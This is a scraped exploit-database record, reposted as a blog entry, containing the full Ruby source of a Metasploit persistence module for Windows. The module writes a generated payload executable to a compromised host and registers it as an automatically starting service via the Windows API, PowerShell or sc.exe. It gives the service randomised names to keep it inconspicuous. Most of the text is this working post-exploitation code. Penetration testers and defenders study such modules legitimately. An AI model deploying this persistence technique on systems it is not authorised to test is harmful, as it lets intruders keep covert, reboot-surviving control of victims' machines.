{“lastseen”:”2025-11-18T19:04:39″,”description”:”This Module will generate and upload an executable to a remote host. It will create a new service which will start the payload whenever the…”,”published”:”2025-11-18T18:53:41″,”modified”:”2025-11-18T18:53:41″,”type”:”metasploit”,”title”:”Windows Persistent Service Installer”,”source”:””,”references”:””,”id”:”MSF:EXPLOIT-WINDOWS-PERSISTENCE-SERVICE-“,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Local\\n Rank = ExcellentRanking\\n\\n include Post::Windows::Services\\n include Msf::Post::File\\n include Msf::Post::Windows::Priv\\n include Post::Windows::Powershell\\n include Msf::Exploit::EXE\\n include Msf::Exploit::Local::Persistence\\n prepend Msf::Exploit::Remote::AutoCheck\\n include Msf::Exploit::Deprecated\\n moved_from ‘exploits\/windows\/local\/persistence_service’\\n\\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘Windows Persistent Service Installer’,\\n ‘Description’ =\\u003e %q{\\n This Module will generate and upload an executable to a remote host.\\n It will create a new service which will start the payload whenever the service is running. Admin or system\\n privilege is required.\\n },\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘Author’ =\\u003e [\\n ‘Green-m \\u003cgreenm.xxoo[at]gmail.com\\u003e’, # original module\\n ‘h00die’ # persistence updates\\n ],\\n ‘Platform’ =\\u003e [ ‘windows’ ],\\n ‘Targets’ =\\u003e [[‘Windows’, {}]],\\n ‘SessionTypes’ =\\u003e [ ‘meterpreter’ ],\\n ‘Privileged’ =\\u003e true,\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘References’ =\\u003e [\\n [‘URL’, ‘https:\/\/learn.microsoft.com\/en-us\/powershell\/module\/microsoft.powershell.management\/new-service?view=powershell-7.5’],\\n [‘URL’, ‘https:\/\/learn.microsoft.com\/en-us\/previous-versions\/windows\/it-pro\/windows-server-2012-r2-and-2012\/cc754599(v=ws.11)’],\\n [‘ATT\\u0026CK’, Mitre::Attack::Technique::T1543_003_WINDOWS_SERVICE],\\n [‘ATT\\u0026CK’, Mitre::Attack::Technique::T1569_002_SERVICE_EXECUTION]\\n ],\\n ‘DisclosureDate’ =\\u003e ‘2018-10-20’,\\n ‘DefaultOptions’ =\\u003e {\\n ‘EXITFUNC’ =\\u003e ‘process’ # process keeps powershell from returning errors on service start\\n },\\n ‘Notes’ =\\u003e {\\n ‘Reliability’ =\\u003e [EVENT_DEPENDENT, REPEATABLE_SESSION],\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘SideEffects’ =\\u003e [IOC_IN_LOGS]\\n }\\n )\\n )\\n\\n register_options(\\n [\\n OptString.new(‘PAYLOAD_NAME’, [false, ‘Name of payload file to write. Random string as default.’]),\\n OptString.new(‘SERVICE_NAME’, [false, ‘The name of service. Random string as default.’ ]),\\n OptString.new(‘SERVICE_DISPLAY_NAME’, [false, ‘The display name of service. Random string as default.’]),\\n OptString.new(‘SERVICE_DESCRIPTION’, [false, ‘The description of service. Random string as default.’ ]),\\n OptEnum.new(‘METHOD’, [false, ‘Which method to register and start the service’, ‘Auto’, [‘Auto’, ‘API’, ‘Powershell’, ‘sc.exe’]]),\\n ]\\n )\\n end\\n\\n def writable_dir\\n d = super\\n return session.sys.config.getenv(d) if d.start_with?(‘%’)\\n\\n d\\n end\\n\\n def check\\n print_warning(‘Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.’) if datastore[‘WritableDir’].start_with?(‘%TEMP%’) # check the original value\\n return CheckCode::Safe(\\”#{writable_dir} doesnt exist\\”) unless exists?(writable_dir)\\n\\n return CheckCode::Safe(‘You must be System\/Admin to run this Module’) unless is_system? || is_admin?\\n\\n CheckCode::Appears(‘Likely exploitable’)\\n end\\n\\n def install_persistence\\n fail_with(Msf::Module::Failure::NoAccess, ‘Insufficient privileges to create service’) unless is_system? || is_admin?\\n\\n rexename = datastore[‘PAYLOAD_NAME’] || Rex::Text.rand_text_alpha(4..8)\\n @service_name = datastore[‘SERVICE_NAME’] || Rex::Text.rand_text_alpha(8..12)\\n @service_dname = datastore[‘SERVICE_DISPLAY_NAME’] || Rex::Text.rand_text_alpha(4..8)\\n @service_description = datastore[‘SERVICE_DESCRIPTION’] || Rex::Text.rand_text_alpha(8..12)\\n\\n rexename \\u003c\\u003c ‘.exe’ unless rexename.end_with?(‘.exe’)\\n\\n vprint_status(‘Compiling payload’)\\n @dest_pathname = writable_dir + ‘\\\\\\\\’ + rexename\\n exe = generate_payload_exe_service({ servicename: @service_name, arch: payload.arch[0] })\\n write_file(@dest_pathname, exe)\\n print_good(\\”Payload written to #{@dest_pathname}\\”)\\n\\n success = false\\n if datastore[‘METHOD’] == ‘API’ || datastore[‘METHOD’] == ‘Auto’\\n vprint_status(‘Attempting API method’)\\n success = api_service\\n end\\n if (datastore[‘METHOD’] == ‘Powershell’ || datastore[‘METHOD’] == ‘Auto’ \\u0026\\u0026 !success) \\u0026\\u0026 have_powershell?\\n vprint_status(‘Attempting Powershell method’)\\n success = powershell_service\\n end\\n if datastore[‘METHOD’] == ‘sc.exe’ || datastore[‘METHOD’] == ‘Auto’ \\u0026\\u0026 !success\\n vprint_status(‘Attempting sc.exe method’)\\n sc_service\\n end\\n\\n @clean_up_rc \\u003c\\u003c \\”rm \\\\\\”#{@dest_pathname.gsub(‘\\\\\\\\’, ‘\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\’)}\\\\\\”\\\\n\\”\\n @clean_up_rc \\u003c\\u003c \\”execute -H -f sc.exe -a \\\\\\”stop #{@service_name}\\\\\\”\\\\n\\”\\n @clean_up_rc \\u003c\\u003c \\”execute -H -f sc.exe -a \\\\\\”delete #{@service_name}\\\\\\”\\\\n\\”\\n end\\n\\n def powershell_service\\n vprint_status(\\”Install service: #{@service_dname} (#{@service_name})\\”)\\n service_builder = \\”New-Service -Name ‘#{@service_name}’ \\”\\n service_builder \\u003c\\u003c \\”-DisplayName ‘#{@service_dname}’ \\”\\n service_builder \\u003c\\u003c \\”-Description ‘#{@service_description}’ \\”\\n service_builder \\u003c\\u003c \\”-BinaryPathName ‘#{@dest_pathname}’ \\”\\n service_builder \\u003c\\u003c ‘-StartupType Automatic’\\n resp = cmd_exec(\\”powershell -NoProfile -Command \\\\\\”#{service_builder};\\\\\\”\\”)\\n return false if resp.include?(‘Access is denied’)\\n return false unless resp.include?(‘Stopped’)\\n\\n vprint_status(\\”Service install response: #{resp}\\”)\\n vprint_status(‘Starting service’)\\n resp = cmd_exec(\\”powershell -NoProfile -Command \\\\\\”Start-Service ‘#{@service_name}’\\\\\\”\\”)\\n vprint_status(\\”Service start response: #{resp}\\”)\\n true\\n end\\n\\n def sc_service\\n vprint_status(\\”Install service: #{@service_dname} (#{@service_name})\\”)\\n sc_cmd = \\”sc.exe create #{@service_name} \\”\\n sc_cmd \\u003c\\u003c \\”binPath= \\\\\\”#{@dest_pathname}\\\\\\” \\”\\n sc_cmd \\u003c\\u003c ‘start= auto ‘\\n sc_cmd \\u003c\\u003c \\”DisplayName= \\\\\\”#{@service_dname}\\\\\\”\\”\\n resp = cmd_exec(sc_cmd)\\n return false if resp.include?(‘FAILED’)\\n\\n vprint_status(\\”Service install response: #{resp}\\”)\\n vprint_status(cmd_exec(\\”sc.exe description #{@service_name} \\\\\\”#{@service_description}\\\\\\”\\”))\\n vprint_status(‘Starting service’)\\n resp = cmd_exec(\\”sc.exe start \\\\\\”#{@service_name}\\\\\\”\\”)\\n vprint_status(\\”Service start response: #{resp}\\”)\\n true\\n end\\n\\n def api_service\\n vprint_status(\\”Install service: #{@service_dname} (#{@service_name})\\”)\\n resp = service_create(@service_name,\\n {\\n display: @service_dname,\\n path: @dest_pathname\\n })\\n return false unless resp == 0\\n\\n vprint_status(\\”Service install code: #{resp}\\”)\\n vprint_status(‘Starting service’)\\n vprint_status(\\”Service start code: #{service_start(@service_name)}\\”)\\n true\\n end\\nend\\n”,”sourceHref”:”https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/windows\/persistence\/service.rb”,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.rapid7.com\/db\/modules\/exploit\/windows\/persistence\/service\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-11-18T19:04:39″,”description”:”This Module will generate and upload an executable to a remote host. It will create a new service which will start the payload whenever the…”,”published”:”2025-11-18T18:53:41″,”modified”:”2025-11-18T18:53:41″,”type”:”metasploit”,”title”:”Windows…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,169,13,33,7,11,5],"class_list":["post-26673","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-metasploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n